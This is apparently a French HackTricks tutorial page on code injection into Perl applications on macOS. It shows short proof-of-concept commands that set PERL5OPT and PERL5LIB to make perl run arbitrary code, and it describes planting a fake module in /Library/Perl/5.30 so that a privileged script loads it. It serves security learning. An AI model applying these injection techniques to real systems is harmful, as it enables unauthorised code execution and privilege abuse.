5.6 KiB
Injection dans les applications Perl macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous accéder à la dernière version du PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Obtenez le merchandising officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.
Via la variable d'environnement PERL5OPT
& PERL5LIB
En utilisant la variable d'environnement PERL5OPT, il est possible de faire exécuter des commandes arbitraires par perl.
Par exemple, créez ce script :
{% code title="test.pl" %}
#!/usr/bin/perl
print "Hello from the Perl script!\n";
Maintenant, **exportez la variable d'environnement** et exécutez le script **perl** :
export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
Une autre option consiste à créer un module Perl (par exemple /tmp/pmod.pm
):
{% code title="/tmp/pmod.pm" %}
#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
Et ensuite utilisez les variables d'environnement :
PERL5LIB=/tmp/ PERL5OPT=-Mpmod
Via les dépendances
Il est possible de lister l'ordre des dossiers de dépendances de Perl en exécution :
perl -e 'print join("\n", @INC)'
Ce qui retournera quelque chose comme :
/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
Certains des dossiers retournés n'existent même pas, cependant, /Library/Perl/5.30
existe bien, il n'est pas protégé par SIP et il se trouve avant les dossiers protégés par SIP. Par conséquent, quelqu'un pourrait abuser de ce dossier pour y ajouter des dépendances de script afin qu'un script Perl à privilèges élevés le charge.
{% hint style="warning" %} Cependant, notez que vous devez être root pour écrire dans ce dossier et de nos jours, vous obtiendrez cette invite TCC : {% endhint %}
Par exemple, si un script importe use File::Basename;
, il serait possible de créer /Library/Perl/5.30/File/Basename.pm
pour lui faire exécuter du code arbitraire.
Références
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Obtenez le merchandising officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.